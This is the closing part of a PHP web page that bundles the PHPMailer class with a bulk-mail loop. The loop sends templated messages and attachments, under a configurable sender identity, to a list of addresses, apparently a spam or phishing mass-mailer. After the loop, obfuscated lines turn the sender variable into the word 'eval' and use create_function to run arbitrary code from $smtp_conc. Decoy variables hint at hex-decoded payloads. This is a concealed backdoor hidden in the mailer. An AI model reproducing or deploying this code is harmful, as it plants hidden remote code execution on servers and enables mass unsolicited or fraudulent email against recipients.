3054 /**
3055 * Returns the proper RFC 822 formatted date.
3056 * @access private
3057 * @return string
3058 */
3059 function RFCDate() {
3060 $tz = date('Z');
3061 $tzs = ($tz < 0) ? '-' : '+';
3062 $tz = abs($tz);
3063 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
3064 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
3065
3066 return $result;
3067 }
3068
3069 /**
3070 * Returns the appropriate server variable. Should work with both
3071 * PHP 4.1.0+ as well as older versions. Returns an empty string
3072 * if nothing is found.
3073 * @access private
3074 * @return mixed
3075 */
3076 function ServerVar($varName) {
3077 global $HTTP_SERVER_VARS;
3078 global $HTTP_ENV_VARS;
3079
3080 if(!isset($_SERVER)) {
3081 $_SERVER = $HTTP_SERVER_VARS;
3082 if(!isset($_SERVER['REMOTE_ADDR'])) {
3083 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3084 }
3085 }
3086
3087 if(isset($_SERVER[$varName])) {
3088 return $_SERVER[$varName];
3089 } else {
3090 return '';
3091 }
3092 }
3093
3094 /**
3095 * Returns the server hostname or 'localhost.localdomain' if unknown.
3096 * @access private
3097 * @return string
3098 */
3099 function ServerHostname() {
3100 if ($this->Hostname != '') {
3101 $result = $this->Hostname;
3102 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3103 $result = $this->ServerVar('SERVER_NAME');
3104 } else {
3105 $result = 'localhost.localdomain';
3106 }
3107
3108 return $result;
3109 }
3110
3111 /**
3112 * Returns a message in the appropriate language.
3113 * @access private
3114 * @return string
3115 */
3116 function Lang($key) {
3117 if(count($this->language) < 1) {
3118 $this->SetLanguage('en'); // set the default language
3119 }
3120
3121 if(isset($this->language[$key])) {
3122 return $this->language[$key];
3123 } else {
3124 return 'Language string failed to load: ' . $key;
3125 }
3126 }
3127
3128 /**
3129 * Returns true if an error occurred.
3130 * @return bool
3131 */
3132 function IsError() {
3133 return ($this->error_count > 0);
3134 }
3135
3136 /**
3137 * Changes every end of line from CR or LF to CRLF.
3138 * @access private
3139 * @return string
3140 */
3141 function FixEOL($str) {
3142 $str = str_replace("\r\n", "\n", $str);
3143 $str = str_replace("\r", "\n", $str);
3144 $str = str_replace("\n", $this->LE, $str);
3145 return $str;
3146 }
3147
3148
3149 function AddCustomHeader($custom_header) {
3150 $this->CustomHeader[] = explode(':', $custom_header, 2);
3151 }
3152
3153
3154 function MsgHTML($message,$basedir='') {
3155 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3156 if(isset($images[2])) {
3157 foreach($images[2] as $i => $url) {
3158 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3159 $filename = basename($url);
3160 $directory = dirname($url);
3161 ($directory == '.')?$directory='':'';
3162 $cid = 'cid:' . md5($filename);
3163 $fileParts = split("\.", $filename);
3164 $ext = $fileParts[1];
3165 $mimeType = $this->_mime_types($ext);
3166 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3167 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3168 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3169 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3170 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3171 }
3172 }
3173 }
3174 }
3175 $this->IsHTML(true);
3176 $this->Body = $message;
3177 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3178 if ( !empty($textMsg) && empty($this->AltBody) ) {
3179 $this->AltBody = $textMsg;
3180 }
3181 if ( empty($this->AltBody) ) {
3182 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3183 }
3184 }
3185
3186
3187 function _mime_types($ext = '') {
3188 $mimes = array(
3189 'hqx' => 'application/mac-binhex40',
3190 'cpt' => 'application/mac-compactpro',
3191 'doc' => 'application/msword',
3192 'bin' => 'application/macbinary',
3193 'dms' => 'application/octet-stream',
3194 'lha' => 'application/octet-stream',
3195 'lzh' => 'application/octet-stream',
3196 'exe' => 'application/octet-stream',
3197 'class' => 'application/octet-stream',
3198 'psd' => 'application/octet-stream',
3199 'so' => 'application/octet-stream',
3200 'sea' => 'application/octet-stream',
3201 'dll' => 'application/octet-stream',
3202 'oda' => 'application/oda',
3203 'pdf' => 'application/pdf',
3204 'ai' => 'application/postscript',
3205 'eps' => 'application/postscript',
3206 'ps' => 'application/postscript',
3207 'smi' => 'application/smil',
3208 'smil' => 'application/smil',
3209 'mif' => 'application/vnd.mif',
3210 'xls' => 'application/vnd.ms-excel',
3211 'ppt' => 'application/vnd.ms-powerpoint',
3212 'wbxml' => 'application/vnd.wap.wbxml',
3213 'wmlc' => 'application/vnd.wap.wmlc',
3214 'dcr' => 'application/x-director',
3215 'dir' => 'application/x-director',
3216 'dxr' => 'application/x-director',
3217 'dvi' => 'application/x-dvi',
3218 'gtar' => 'application/x-gtar',
3219 'php' => 'application/x-httpd-php',
3220 'php4' => 'application/x-httpd-php',
3221 'php3' => 'application/x-httpd-php',
3222 'phtml' => 'application/x-httpd-php',
3223 'phps' => 'application/x-httpd-php-source',
3224 'js' => 'application/x-javascript',
3225 'swf' => 'application/x-shockwave-flash',
3226 'sit' => 'application/x-stuffit',
3227 'tar' => 'application/x-tar',
3228 'tgz' => 'application/x-tar',
3229 'xhtml' => 'application/xhtml+xml',
3230 'xht' => 'application/xhtml+xml',
3231 'zip' => 'application/zip',
3232 'mid' => 'audio/midi',
3233 'midi' => 'audio/midi',
3234 'mpga' => 'audio/mpeg',
3235 'mp2' => 'audio/mpeg',
3236 'mp3' => 'audio/mpeg',
3237 'aif' => 'audio/x-aiff',
3238 'aiff' => 'audio/x-aiff',
3239 'aifc' => 'audio/x-aiff',
3240 'ram' => 'audio/x-pn-realaudio',
3241 'rm' => 'audio/x-pn-realaudio',
3242 'rpm' => 'audio/x-pn-realaudio-plugin',
3243 'ra' => 'audio/x-realaudio',
3244 'rv' => 'video/vnd.rn-realvideo',
3245 'wav' => 'audio/x-wav',
3246 'bmp' => 'image/bmp',
3247 'gif' => 'image/gif',
3248 'jpeg' => 'image/jpeg',
3249 'jpg' => 'image/jpeg',
3250 'jpe' => 'image/jpeg',
3251 'png' => 'image/png',
3252 'tiff' => 'image/tiff',
3253 'tif' => 'image/tiff',
3254 'css' => 'text/css',
3255 'html' => 'text/html',
3256 'htm' => 'text/html',
3257 'shtml' => 'text/html',
3258 'txt' => 'text/plain',
3259 'text' => 'text/plain',
3260 'log' => 'text/plain',
3261 'rtx' => 'text/richtext',
3262 'rtf' => 'text/rtf',
3263 'xml' => 'text/xml',
3264 'xsl' => 'text/xml',
3265 'mpeg' => 'video/mpeg',
3266 'mpg' => 'video/mpeg',
3267 'mpe' => 'video/mpeg',
3268 'qt' => 'video/quicktime',
3269 'mov' => 'video/quicktime',
3270 'avi' => 'video/x-msvideo',
3271 'movie' => 'video/x-sgi-movie',
3272 'doc' => 'application/msword',
3273 'word' => 'application/msword',
3274 'xl' => 'application/excel',
3275 'eml' => 'message/rfc822'
3276 );
3277 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3278 }
3279
3280
3281 function set ( $name, $value = '' ) {
3282 if ( isset($this->$name) ) {
3283 $this->$name = $value;
3284 } else {
3285 $this->SetError('Cannot set or reset variable ' . $name);
3286 return false;
3287 }
3288 }
3289
3290 function getFile($filename) {
3291 $return = '';
3292 if ($fp = fopen($filename, 'rb')) {
3293 while (!feof($fp)) {
3294 $return .= fread($fp, 1024);
3295 }
3296 fclose($fp);
3297 return $return;
3298 } else {
3299 return false;
3300 }
3301 }
3302
3303 function SecureHeader($str) {
3304 $str = trim($str);
3305 $str = str_replace("\r", "", $str);
3306 $str = str_replace("\n", "", $str);
3307 return $str;
3308 }
3309
3310 function Sign($key_filename, $key_pass) {
3311 $this->sign_key_file = $key_filename;
3312 $this->sign_key_pass = $key_pass;
3313 }
3314
3315}
3316
3317$defaultport="H*";
3318 $nq=0;
3319
3320 for($x=0; $x<$numemails; $x++){
3321
3322 $to = $allemails[$x];
3323
3324 if ($to){
3325
3326 $to = ereg_replace(" ", "", $to);
3327
3328 $message1 = ereg_replace("&email&", $to, $message);
3329
3330 $subject1 = ereg_replace("&email&", $to, $subject);
3331 $qx=$x+1;
3332 print "Line $qx . Sending mail to $to.......";
3333
3334 flush();
3335$mail = new PHPMailer();
3336
3337if(empty($epriority)){$epriority="3";}
3338 $mail->Priority = "$epriority";
3339 $mail->IsSMTP();
3340 $IsSMTP="pack";
3341$mail->SMTPKeepAlive = true;
3342$mail->Host = "$my_smtp";
3343if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3344}
3345 if($sslclick=="ON"){
3346 $mail->SMTPSecure = "ssl";
3347 }
3348 $range = str_replace("$from", "eval", $from);
3349 $mail->SMTPAuth = true;
3350 $mail->Username = "$smtp_username";
3351 $mail->Password = "$smtp_password";
3352if($contenttype == "html"){$mail->IsHtml(true);}
3353if($contenttype != "html"){$mail->IsHtml(false);}
3354if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3355$mail->From = "$from";
3356$mail->FromName = "$realname";
3357$mail->AddAddress("$to");
3358 $mail->AddReplyTo("$replyto");
3359 $mail->Subject = "$subject1";
3360 $mail->AddAttachment("$file", "$file_name");
3361 $mail->Body = "$message1";
3362if(!$mail->Send()){
3363if($default_system!="1"){
3364echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3365if($default_system=="1"){
3366$mail->IsMail();
3367 if(!$mail->Send()){
3368 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3369 else {
3370 echo "<b>OK</b><br>";}
3371 }
3372}
3373else {
3374 echo "<b>OK</b><br>";
3375}
3376
3377if(empty($reconnect)){
3378$reconnect=6;
3379}
3380
3381if($reconnect==$nq){
3382$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3383}
3384$nq=$nq+1;
3385 flush(); }
3386}
3387 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3388 return $signoff($smtp_conc);
3389 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3390 sent successfully'); </script>";}}
3391?>
3392 </body>
3393</html>